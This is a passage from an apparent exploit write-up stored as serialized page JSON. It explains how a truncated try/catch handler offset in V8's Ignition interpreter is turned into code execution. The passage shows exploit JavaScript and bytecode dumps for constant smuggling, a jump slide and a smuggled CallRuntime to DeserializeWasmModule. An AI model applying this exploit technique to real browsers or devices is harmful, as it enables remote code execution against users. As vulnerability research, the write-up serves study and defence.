36256},{"style":6941},[136257],{"type":31,"value":94675},{"type":25,"tag":216,"props":136259,"children":136260},{"style":6947},[136261],{"type":31,"value":6950},{"type":25,"tag":216,"props":136263,"children":136264},{"style":6983},[136265],{"type":31,"value":11880},{"type":25,"tag":216,"props":136267,"children":136268},{"style":6958},[136269],{"type":31,"value":6961},{"type":25,"tag":216,"props":136271,"children":136272},{"class":6916,"line":7104},[136273],{"type":25,"tag":216,"props":136274,"children":136275},{"style":6958},[136276],{"type":31,"value":7868},{"type":25,"tag":206,"props":136278,"children":136280},{"code":136279}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[136281],{"type":25,"tag":82,"props":136282,"children":136283},{"__ignoreMap":7},[136284],{"type":31,"value":136279},{"type":25,"tag":38,"props":136286,"children":136287},{},[136288,136290,136295,136297,136302],{"type":31,"value":136289},"However, the ",{"type":25,"tag":82,"props":136291,"children":136293},{"className":136292},[],[136294],{"type":31,"value":136196},{"type":31,"value":136296}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":25,"tag":82,"props":136298,"children":136300},{"className":136299},[],[136301],{"type":31,"value":52374},{"type":31,"value":136303}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":25,"tag":38,"props":136305,"children":136306},{},[136307,136309,136315],{"type":31,"value":136308},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":25,"tag":82,"props":136310,"children":136312},{"className":136311},[],[136313],{"type":31,"value":136314},"yield*",{"type":31,"value":136316}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":25,"tag":26,"props":136318,"children":136320},{"id":136319},"exploitation",[136321],{"type":31,"value":136322},"Exploitation",{"type":25,"tag":607,"props":136324,"children":136326},{"id":136325},"constant-smuggling",[136327],{"type":31,"value":136328},"Constant Smuggling",{"type":25,"tag":38,"props":136330,"children":136331},{},[136332,136334,136341],{"type":31,"value":136333},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":25,"tag":162,"props":136335,"children":136338},{"href":136336,"rel":136337},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[166],[136339],{"type":31,"value":136340},"technique",{"type":31,"value":136342}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":25,"tag":206,"props":136344,"children":136346},{"code":136345,"language":35321,"meta":7,"className":35319,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[136347],{"type":25,"tag":82,"props":136348,"children":136349},{"__ignoreMap":7},[136350,136378,136405,136432],{"type":25,"tag":216,"props":136351,"children":136352},{"class":6916,"line":6917},[136353,136357,136361,136365,136369,136374],{"type":25,"tag":216,"props":136354,"children":136355},{"style":6930},[136356],{"type":31,"value":15737},{"type":25,"tag":216,"props":136358,"children":136359},{"style":6941},[136360],{"type":31,"value":93801},{"type":25,"tag":216,"props":136362,"children":136363},{"style":6947},[136364],{"type":31,"value":6950},{"type":25,"tag":216,"props":136366,"children":136367},{"style":6947},[136368],{"type":31,"value":55218},{"type":25,"tag":216,"props":136370,"children":136371},{"style":6983},[136372],{"type":31,"value":136373},"9.255963134931783e61",{"type":25,"tag":216,"props":136375,"children":136376},{"style":6958},[136377],{"type":31,"value":6961},{"type":25,"tag":216,"props":136379,"children":136380},{"class":6916,"line":6763},[136381,136385,136389,136393,136397,136401],{"type":25,"tag":216,"props":136382,"children":136383},{"style":6930},[136384],{"type":31,"value":15737},{"type":25,"tag":216,"props":136386,"children":136387},{"style":6941},[136388],{"type":31,"value":94675},{"type":25,"tag":216,"props":136390,"children":136391},{"style":6947},[136392],{"type":31,"value":6950},{"type":25,"tag":216,"props":136394,"children":136395},{"style":6947},[136396],{"type":31,"value":55218},{"type":25,"tag":216,"props":136398,"children":136399},{"style":6983},[136400],{"type":31,"value":136373},{"type":25,"tag":216,"props":136402,"children":136403},{"style":6958},[136404],{"type":31,"value":6961},{"type":25,"tag":216,"props":136406,"children":136407},{"class":6916,"line":6772},[136408,136412,136416,136420,136424,136428],{"type":25,"tag":216,"props":136409,"children":136410},{"style":6930},[136411],{"type":31,"value":15737},{"type":25,"tag":216,"props":136413,"children":136414},{"style":6941},[136415],{"type":31,"value":41402},{"type":25,"tag":216,"props":136417,"children":136418},{"style":6947},[136419],{"type":31,"value":6950},{"type":25,"tag":216,"props":136421,"children":136422},{"style":6947},[136423],{"type":31,"value":55218},{"type":25,"tag":216,"props":136425,"children":136426},{"style":6983},[136427],{"type":31,"value":136373},{"type":25,"tag":216,"props":136429,"children":136430},{"style":6958},[136431],{"type":31,"value":6961},{"type":25,"tag":216,"props":136433,"children":136434},{"class":6916,"line":6999},[136435,136439,136443,136447,136451,136455],{"type":25,"tag":216,"props":136436,"children":136437},{"style":6930},[136438],{"type":31,"value":15737},{"type":25,"tag":216,"props":136440,"children":136441},{"style":6941},[136442],{"type":31,"value":136141},{"type":25,"tag":216,"props":136444,"children":136445},{"style":6947},[136446],{"type":31,"value":6950},{"type":25,"tag":216,"props":136448,"children":136449},{"style":6947},[136450],{"type":31,"value":55218},{"type":25,"tag":216,"props":136452,"children":136453},{"style":6983},[136454],{"type":31,"value":136373},{"type":25,"tag":216,"props":136456,"children":136457},{"style":6958},[136458],{"type":31,"value":6961},{"type":25,"tag":38,"props":136460,"children":136461},{},[136462],{"type":31,"value":136463},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":25,"tag":38,"props":136465,"children":136466},{},[136467],{"type":31,"value":136468},"We'll use a similar principle here, although much more limited. With",{"type":25,"tag":206,"props":136470,"children":136472},{"code":136471},"let a = 0x0693bebe;\n",[136473],{"type":25,"tag":82,"props":136474,"children":136475},{"__ignoreMap":7},[136476],{"type":31,"value":136471},{"type":25,"tag":38,"props":136478,"children":136479},{},[136480],{"type":31,"value":136481},"We will compile the bytecode:",{"type":25,"tag":206,"props":136483,"children":136485},{"code":136484},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[136486],{"type":25,"tag":82,"props":136487,"children":136488},{"__ignoreMap":7},[136489],{"type":31,"value":136484},{"type":25,"tag":38,"props":136491,"children":136492},{},[136493,136495,136501,136503,136509,136510,136516],{"type":31,"value":136494},"We can then jump to the 3rd byte (",{"type":25,"tag":82,"props":136496,"children":136498},{"className":136497},[],[136499],{"type":31,"value":136500},"0xbe",{"type":31,"value":136502},"), and gain 2 controlled bytes of execution, followed by ",{"type":25,"tag":82,"props":136504,"children":136506},{"className":136505},[],[136507],{"type":31,"value":136508},"0x93 0x02 - 0xf",{"type":31,"value":7010},{"type":25,"tag":82,"props":136511,"children":136513},{"className":136512},[],[136514],{"type":31,"value":136515},"Jump +[2-15]",{"type":31,"value":136517},") to jump into the next constant.",{"type":25,"tag":38,"props":136519,"children":136520},{},[136521,136523,136529,136531,136537,136539,136545],{"type":31,"value":136522},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":25,"tag":82,"props":136524,"children":136526},{"className":136525},[],[136527],{"type":31,"value":136528},"StarX",{"type":31,"value":136530}," instructions, registers 16-121 resulted in two bytes ",{"type":25,"tag":82,"props":136532,"children":136534},{"className":136533},[],[136535],{"type":31,"value":136536},"Star rX",{"type":31,"value":136538}," instructions, and the next batch resulted in 4 byte ",{"type":25,"tag":82,"props":136540,"children":136542},{"className":136541},[],[136543],{"type":31,"value":136544},"Star.ExtraWide rX",{"type":31,"value":136546}," instructions.",{"type":25,"tag":38,"props":136548,"children":136549},{},[136550,136552,136558],{"type":31,"value":136551},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":25,"tag":82,"props":136553,"children":136555},{"className":136554},[],[136556],{"type":31,"value":136557},"0x8931111",{"type":31,"value":1466},{"type":25,"tag":206,"props":136560,"children":136562},{"code":136561,"language":35321,"meta":7,"className":35319,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[136563],{"type":25,"tag":82,"props":136564,"children":136565},{"__ignoreMap":7},[136566,136591,136615,136639,136663,136687,136711],{"type":25,"tag":216,"props":136567,"children":136568},{"class":6916,"line":6917},[136569,136573,136578,136582,136587],{"type":25,"tag":216,"props":136570,"children":136571},{"style":6930},[136572],{"type":31,"value":15737},{"type":25,"tag":216,"props":136574,"children":136575},{"style":6941},[136576],{"type":31,"value":136577}," a206",{"type":25,"tag":216,"props":136579,"children":136580},{"style":6947},[136581],{"type":31,"value":6950},{"type":25,"tag":216,"props":136583,"children":136584},{"style":6983},[136585],{"type":31,"value":136586}," 0x8931111",{"type":25,"tag":216,"props":136588,"children":136589},{"style":6958},[136590],{"type":31,"value":6961},{"type":25,"tag":216,"props":136592,"children":136593},{"class":6916,"line":6763},[136594,136598,136603,136607,136611],{"type":25,"tag":216,"props":136595,"children":136596},{"style":6930},[136597],{"type":31,"value":15737},{"type":25,"tag":216,"props":136599,"children":136600},{"style":6941},[136601],{"type":31,"value":136602}," a207",{"type":25,"tag":216,"props":136604,"children":136605},{"style":6947},[136606],{"type":31,"value":6950},{"type":25,"tag":216,"props":136608,"children":136609},{"style":6983},[136610],{"type":31,"value":136586},{"type":25,"tag":216,"props":136612,"children":136613},{"style":6958},[136614],{"type":31,"value":6961},{"type":25,"tag":216,"props":136616,"children":136617},{"class":6916,"line":6772},[136618,136622,136627,136631,136635],{"type":25,"tag":216,"props":136619,"children":136620},{"style":6930},[136621],{"type":31,"value":15737},{"type":25,"tag":216,"props":136623,"children":136624},{"style":6941},[136625],{"type":31,"value":136626}," a208",{"type":25,"tag":216,"props":136628,"children":136629},{"style":6947},[136630],{"type":31,"value":6950},{"type":25,"tag":216,"props":136632,"children":136633},{"style":6983},[136634],{"type":31,"value":136586},{"type":25,"tag":216,"props":136636,"children":136637},{"style":6958},[136638],{"type":31,"value":6961},{"type":25,"tag":216,"props":136640,"children":136641},{"class":6916,"line":6999},[136642,136646,136651,136655,136659],{"type":25,"tag":216,"props":136643,"children":136644},{"style":6930},[136645],{"type":31,"value":15737},{"type":25,"tag":216,"props":136647,"children":136648},{"style":6941},[136649],{"type":31,"value":136650}," a209",{"type":25,"tag":216,"props":136652,"children":136653},{"style":6947},[136654],{"type":31,"value":6950},{"type":25,"tag":216,"props":136656,"children":136657},{"style":6983},[136658],{"type":31,"value":136586},{"type":25,"tag":216,"props":136660,"children":136661},{"style":6958},[136662],{"type":31,"value":6961},{"type":25,"tag":216,"props":136664,"children":136665},{"class":6916,"line":7104},[136666,136670,136675,136679,136683],{"type":25,"tag":216,"props":136667,"children":136668},{"style":6930},[136669],{"type":31,"value":15737},{"type":25,"tag":216,"props":136671,"children":136672},{"style":6941},[136673],{"type":31,"value":136674}," a210",{"type":25,"tag":216,"props":136676,"children":136677},{"style":6947},[136678],{"type":31,"value":6950},{"type":25,"tag":216,"props":136680,"children":136681},{"style":6983},[136682],{"type":31,"value":136586},{"type":25,"tag":216,"props":136684,"children":136685},{"style":6958},[136686],{"type":31,"value":6961},{"type":25,"tag":216,"props":136688,"children":136689},{"class":6916,"line":7210},[136690,136694,136699,136703,136707],{"type":25,"tag":216,"props":136691,"children":136692},{"style":6930},[136693],{"type":31,"value":15737},{"type":25,"tag":216,"props":136695,"children":136696},{"style":6941},[136697],{"type":31,"value":136698}," a211",{"type":25,"tag":216,"props":136700,"children":136701},{"style":6947},[136702],{"type":31,"value":6950},{"type":25,"tag":216,"props":136704,"children":136705},{"style":6983},[136706],{"type":31,"value":136586},{"type":25,"tag":216,"props":136708,"children":136709},{"style":6958},[136710],{"type":31,"value":6961},{"type":25,"tag":216,"props":136712,"children":136713},{"class":6916,"line":7238},[136714,136718,136723,136727,136731],{"type":25,"tag":216,"props":136715,"children":136716},{"style":6930},[136717],{"type":31,"value":15737},{"type":25,"tag":216,"props":136719,"children":136720},{"style":6941},[136721],{"type":31,"value":136722}," a212",{"type":25,"tag":216,"props":136724,"children":136725},{"style":6947},[136726],{"type":31,"value":6950},{"type":25,"tag":216,"props":136728,"children":136729},{"style":6983},[136730],{"type":31,"value":136586},{"type":25,"tag":216,"props":136732,"children":136733},{"style":6958},[136734],{"type":31,"value":6961},{"type":25,"tag":38,"props":136736,"children":136737},{},[136738],{"type":31,"value":136739},"Those instructions result in:",{"type":25,"tag":206,"props":136741,"children":136743},{"code":136742},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[136744],{"type":25,"tag":82,"props":136745,"children":136746},{"__ignoreMap":7},[136747],{"type":31,"value":136742},{"type":25,"tag":38,"props":136749,"children":136750},{},[136751,136753,136759,136761,136765],{"type":31,"value":136752},"(The offset of ",{"type":25,"tag":82,"props":136754,"children":136756},{"className":136755},[],[136757],{"type":31,"value":136758},"Jump",{"type":31,"value":136760}," instructions is added to the ",{"type":25,"tag":64,"props":136762,"children":136763},{},[136764],{"type":31,"value":75055},{"type":31,"value":136766}," of the instruction.)",{"type":25,"tag":38,"props":136768,"children":136769},{},[136770,136772,136778],{"type":31,"value":136771},"Now, 3 out of the 6 bytes in a ",{"type":25,"tag":82,"props":136773,"children":136775},{"className":136774},[],[136776],{"type":31,"value":136777},"LdaSmi.ExtraWide",{"type":31,"value":136779}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":25,"tag":607,"props":136781,"children":136783},{"id":136782},"exploit-goal",[136784],{"type":31,"value":136785},"Exploit Goal",{"type":25,"tag":38,"props":136787,"children":136788},{},[136789,136791,136797,136798,136804],{"type":31,"value":136790},"Initially we considered using ",{"type":25,"tag":82,"props":136792,"children":136794},{"className":136793},[],[136795],{"type":31,"value":136796},"Star",{"type":31,"value":5749},{"type":25,"tag":82,"props":136799,"children":136801},{"className":136800},[],[136802],{"type":31,"value":136803},"Ldar",{"type":31,"value":136805}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":25,"tag":38,"props":136807,"children":136808},{},[136809,136811,136818],{"type":31,"value":136810},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":25,"tag":162,"props":136812,"children":136815},{"href":136813,"rel":136814},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[166],[136816],{"type":31,"value":136817},"stack pivot and ROP",{"type":31,"value":136819},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":25,"tag":38,"props":136821,"children":136822},{},[136823],{"type":31,"value":136824},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":25,"tag":38,"props":136826,"children":136827},{},[136828],{"type":31,"value":136829},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":25,"tag":38,"props":136831,"children":136832},{},[136833,136835,136841,136843,136849,136851,136857],{"type":31,"value":136834},"At this point, we identified an interesting opcode: ",{"type":25,"tag":82,"props":136836,"children":136838},{"className":136837},[],[136839],{"type":31,"value":136840},"CallRuntime",{"type":31,"value":136842},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":25,"tag":82,"props":136844,"children":136846},{"className":136845},[],[136847],{"type":31,"value":136848},"--allow-natives-syntax",{"type":31,"value":136850}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":25,"tag":82,"props":136852,"children":136854},{"className":136853},[],[136855],{"type":31,"value":136856},"DeserializeWasmModule",{"type":31,"value":179},{"type":25,"tag":38,"props":136859,"children":136860},{},[136861,136863,136870,136871,136876,136877,136883,136885,136892],{"type":31,"value":136862},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":25,"tag":162,"props":136864,"children":136867},{"href":136865,"rel":136866},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[166],[136868],{"type":31,"value":136869},"JIT-compiled functions",{"type":31,"value":22485},{"type":25,"tag":82,"props":136872,"children":136874},{"className":136873},[],[136875],{"type":31,"value":136856},{"type":31,"value":5749},{"type":25,"tag":82,"props":136878,"children":136880},{"className":136879},[],[136881],{"type":31,"value":136882},"SerializeWasmModule",{"type":31,"value":136884}," themselves are only used from test functions, and indeed have been ",{"type":25,"tag":162,"props":136886,"children":136889},{"href":136887,"rel":136888},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[166],[136890],{"type":31,"value":136891},"removed",{"type":31,"value":136893}," from recent production V8 builds due to how abusable this functionality is.",{"type":25,"tag":38,"props":136895,"children":136896},{},[136897,136899,136905,136907,136913,136915,136920,136922,136928,136930,136935,136936,136941,136942,136947,136949,136955,136957,136961],{"type":31,"value":136898},"However, calling this opcode represented a significant challenge:\n",{"type":25,"tag":82,"props":136900,"children":136902},{"className":136901},[],[136903],{"type":31,"value":136904},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":31,"value":136906},"\nWhere ",{"type":25,"tag":82,"props":136908,"children":136910},{"className":136909},[],[136911],{"type":31,"value":136912},"func-id",{"type":31,"value":136914}," is a 2-byte function ID, ",{"type":25,"tag":82,"props":136916,"children":136918},{"className":136917},[],[136919],{"type":31,"value":42185},{"type":31,"value":136921}," is the index of the last register passed and ",{"type":25,"tag":82,"props":136923,"children":136925},{"className":136924},[],[136926],{"type":31,"value":136927},"argc",{"type":31,"value":136929}," is the number of arguments passed (e.g. passing ",{"type":25,"tag":82,"props":136931,"children":136933},{"className":136932},[],[136934],{"type":31,"value":48342},{"type":31,"value":7020},{"type":25,"tag":82,"props":136937,"children":136939},{"className":136938},[],[136940],{"type":31,"value":48485},{"type":31,"value":1301},{"type":25,"tag":82,"props":136943,"children":136945},{"className":136944},[],[136946],{"type":31,"value":48468},{"type":31,"value":136948}," would be encoded as ",{"type":25,"tag":82,"props":136950,"children":136952},{"className":136951},[],[136953],{"type":31,"value":136954},"\u003Cr2> \u003C3>",{"type":31,"value":136956},").\nThis requires ",{"type":25,"tag":64,"props":136958,"children":136959},{},[136960],{"type":31,"value":22061},{"type":31,"value":136962}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":25,"tag":607,"props":136964,"children":136966},{"id":136965},"better-bytecode-control",[136967],{"type":31,"value":136968},"Better Bytecode Control",{"type":25,"tag":38,"props":136970,"children":136971},{},[136972,136974,136981,136983,136989],{"type":31,"value":136973},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":25,"tag":162,"props":136975,"children":136978},{"href":136976,"rel":136977},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[166],[136979],{"type":31,"value":136980},"feedback vector slot",{"type":31,"value":136982},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":25,"tag":82,"props":136984,"children":136986},{"className":136985},[],[136987],{"type":31,"value":136988},"AddSmi",{"type":31,"value":136990}," instruction, it represents the number of operations performed on the target value so far.",{"type":25,"tag":38,"props":136992,"children":136993},{},[136994],{"type":31,"value":136995},"For example, we can look at the below Ignition disassembly:",{"type":25,"tag":206,"props":136997,"children":136999},{"code":136998},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[137000],{"type":25,"tag":82,"props":137001,"children":137002},{"__ignoreMap":7},[137003],{"type":31,"value":136998},{"type":25,"tag":38,"props":137005,"children":137006},{},[137007,137009,137015],{"type":31,"value":137008},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":25,"tag":82,"props":137010,"children":137012},{"className":137011},[],[137013],{"type":31,"value":137014},"AddSmi.ExtraWide",{"type":31,"value":137016},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":25,"tag":38,"props":137018,"children":137019},{},[137020],{"type":31,"value":137021},"Eventually, we can reach a stage like this:",{"type":25,"tag":206,"props":137023,"children":137025},{"code":137024},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[137026],{"type":25,"tag":82,"props":137027,"children":137028},{"__ignoreMap":7},[137029],{"type":31,"value":137024},{"type":25,"tag":38,"props":137031,"children":137032},{},[137033],{"type":31,"value":137034},"If you skip the first two bytes, you have",{"type":25,"tag":2033,"props":137036,"children":137037},{},[137038,137069],{"type":25,"tag":2037,"props":137039,"children":137040},{},[137041,137046,137048,137053,137055,137061,137063],{"type":25,"tag":82,"props":137042,"children":137044},{"className":137043},[],[137045],{"type":31,"value":136840},{"type":31,"value":137047}," (0x6c) to ",{"type":25,"tag":82,"props":137049,"children":137051},{"className":137050},[],[137052],{"type":31,"value":136856},{"type":31,"value":137054}," (0x0266) starting from register ",{"type":25,"tag":82,"props":137056,"children":137058},{"className":137057},[],[137059],{"type":31,"value":137060},"a2",{"type":31,"value":137062}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":25,"tag":82,"props":137064,"children":137066},{"className":137065},[],[137067],{"type":31,"value":137068},"DeserializeWasmModule(a2, a1)",{"type":25,"tag":2037,"props":137070,"children":137071},{},[137072],{"type":31,"value":137073},"a Jump instruction",{"type":25,"tag":607,"props":137075,"children":137077},{"id":137076},"returning-back-to-js",[137078],{"type":31,"value":137079},"Returning Back to JS",{"type":25,"tag":38,"props":137081,"children":137082},{},[137083,137085,137091],{"type":31,"value":137084},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":25,"tag":82,"props":137086,"children":137088},{"className":137087},[],[137089],{"type":31,"value":137090},"yield",{"type":31,"value":137092}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":25,"tag":38,"props":137094,"children":137095},{},[137096],{"type":31,"value":137097},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":25,"tag":206,"props":137099,"children":137101},{"code":137100,"language":35321,"meta":7,"className":35319,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137102],{"type":25,"tag":82,"props":137103,"children":137104},{"__ignoreMap":7},[137105,137116,137164,137185,137201,137224,137252,137269],{"type":25,"tag":216,"props":137106,"children":137107},{"class":6916,"line":6917},[137108,137112],{"type":25,"tag":216,"props":137109,"children":137110},{"style":6967},[137111],{"type":31,"value":52294},{"type":25,"tag":216,"props":137113,"children":137114},{"style":6958},[137115],{"type":31,"value":7235},{"type":25,"tag":216,"props":137117,"children":137118},{"class":6916,"line":6763},[137119,137124,137128,137133,137137,137142,137146,137151,137155,137159],{"type":25,"tag":216,"props":137120,"children":137121},{"style":6941},[137122],{"type":31,"value":137123},"  $",{"type":25,"tag":216,"props":137125,"children":137126},{"style":6958},[137127],{"type":31,"value":80584},{"type":25,"tag":216,"props":137129,"children":137130},{"style":8199},[137131],{"type":31,"value":137132},"'a1 + 0xa931111;'",{"type":25,"tag":216,"props":137134,"children":137135},{"style":6958},[137136],{"type":31,"value":179},{"type":25,"tag":216,"props":137138,"children":137139},{"style":7041},[137140],{"type":31,"value":137141},"repeat",{"type":25,"tag":216,"props":137143,"children":137144},{"style":6958},[137145],{"type":31,"value":1844},{"type":25,"tag":216,"props":137147,"children":137148},{"style":6983},[137149],{"type":31,"value":137150},"0x059302",{"type":25,"tag":216,"props":137152,"children":137153},{"style":6947},[137154],{"type":31,"value":55218},{"type":25,"tag":216,"props":137156,"children":137157},{"style":6983},[137158],{"type":31,"value":8465},{"type":25,"tag":216,"props":137160,"children":137161},{"style":6958},[137162],{"type":31,"value":137163},")}\n",{"type":25,"tag":216,"props":137165,"children":137166},{"class":6916,"line":6772},[137167,137172,137176,137181],{"type":25,"tag":216,"props":137168,"children":137169},{"style":6941},[137170],{"type":31,"value":137171},"  a1",{"type":25,"tag":216,"props":137173,"children":137174},{"style":6947},[137175],{"type":31,"value":12852},{"type":25,"tag":216,"props":137177,"children":137178},{"style":6983},[137179],{"type":31,"value":137180}," 0x0402666c",{"type":25,"tag":216,"props":137182,"children":137183},{"style":6958},[137184],{"type":31,"value":6961},{"type":25,"tag":216,"props":137186,"children":137187},{"class":6916,"line":6999},[137188,137192,137197],{"type":25,"tag":216,"props":137189,"children":137190},{"style":6967},[137191],{"type":31,"value":39159},{"type":25,"tag":216,"props":137193,"children":137194},{"style":6983},[137195],{"type":31,"value":137196}," 0x393e91a",{"type":25,"tag":216,"props":137198,"children":137199},{"style":6958},[137200],{"type":31,"value":6961},{"type":25,"tag":216,"props":137202,"children":137203},{"class":6916,"line":7104},[137204,137208,137212,137216,137220],{"type":25,"tag":216,"props":137205,"children":137206},{"style":6958},[137207],{"type":31,"value":50836},{"type":25,"tag":216,"props":137209,"children":137210},{"style":6967},[137211],{"type":31,"value":52374},{"type":25,"tag":216,"props":137213,"children":137214},{"style":6958},[137215],{"type":31,"value":7010},{"type":25,"tag":216,"props":137217,"children":137218},{"style":6941},[137219],{"type":31,"value":2393},{"type":25,"tag":216,"props":137221,"children":137222},{"style":6958},[137223],{"type":31,"value":18755},{"type":25,"tag":216,"props":137225,"children":137226},{"class":6916,"line":7210},[137227,137231,137235,137239,137243,137248],{"type":25,"tag":216,"props":137228,"children":137229},{"style":6941},[137230],{"type":31,"value":105896},{"type":25,"tag":216,"props":137232,"children":137233},{"style":6958},[137234],{"type":31,"value":179},{"type":25,"tag":216,"props":137236,"children":137237},{"style":7041},[137238],{"type":31,"value":105905},{"type":25,"tag":216,"props":137240,"children":137241},{"style":6958},[137242],{"type":31,"value":1844},{"type":25,"tag":216,"props":137244,"children":137245},{"style":8199},[137246],{"type":31,"value":137247},"\"foo\"",{"type":25,"tag":216,"props":137249,"children":137250},{"style":6958},[137251],{"type":31,"value":7791},{"type":25,"tag":216,"props":137253,"children":137254},{"class":6916,"line":7238},[137255,137260,137265],{"type":25,"tag":216,"props":137256,"children":137257},{"style":6967},[137258],{"type":31,"value":137259},"  yield",{"type":25,"tag":216,"props":137261,"children":137262},{"style":6941},[137263],{"type":31,"value":137264}," a16",{"type":25,"tag":216,"props":137266,"children":137267},{"style":6958},[137268],{"type":31,"value":6961},{"type":25,"tag":216,"props":137270,"children":137271},{"class":6916,"line":7251},[137272],{"type":25,"tag":216,"props":137273,"children":137274},{"style":6958},[137275],{"type":31,"value":7868},{"type":25,"tag":38,"props":137277,"children":137278},{},[137279,137281],{"type":31,"value":137280},"Starting from the final ",{"type":25,"tag":82,"props":137282,"children":137284},{"className":137283},[],[137285],{"type":31,"value":136988},{"type":25,"tag":206,"props":137287,"children":137289},{"code":137288}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[137290],{"type":25,"tag":82,"props":137291,"children":137292},{"__ignoreMap":7},[137293],{"type":31,"value":137288},{"type":25,"tag":38,"props":137295,"children":137296},{},[137297,137299,137304,137306,137312],{"type":31,"value":137298},"The smuggled jump in ",{"type":25,"tag":82,"props":137300,"children":137302},{"className":137301},[],[137303],{"type":31,"value":136988},{"type":31,"value":137305}," will redirect us to ",{"type":25,"tag":82,"props":137307,"children":137309},{"className":137308},[],[137310],{"type":31,"value":137311},"1a e9 93 03",{"type":31,"value":137313},", which results in:",{"type":25,"tag":2033,"props":137315,"children":137316},{},[137317,137328],{"type":25,"tag":2037,"props":137318,"children":137319},{},[137320,137326],{"type":25,"tag":82,"props":137321,"children":137323},{"className":137322},[],[137324],{"type":31,"value":137325},"Star r16",{"type":31,"value":137327}," (store accumulator to r16)",{"type":25,"tag":2037,"props":137329,"children":137330},{},[137331,137336],{"type":25,"tag":82,"props":137332,"children":137334},{"className":137333},[],[137335],{"type":31,"value":136758},{"type":31,"value":137337}," past the throw into the catch relevant 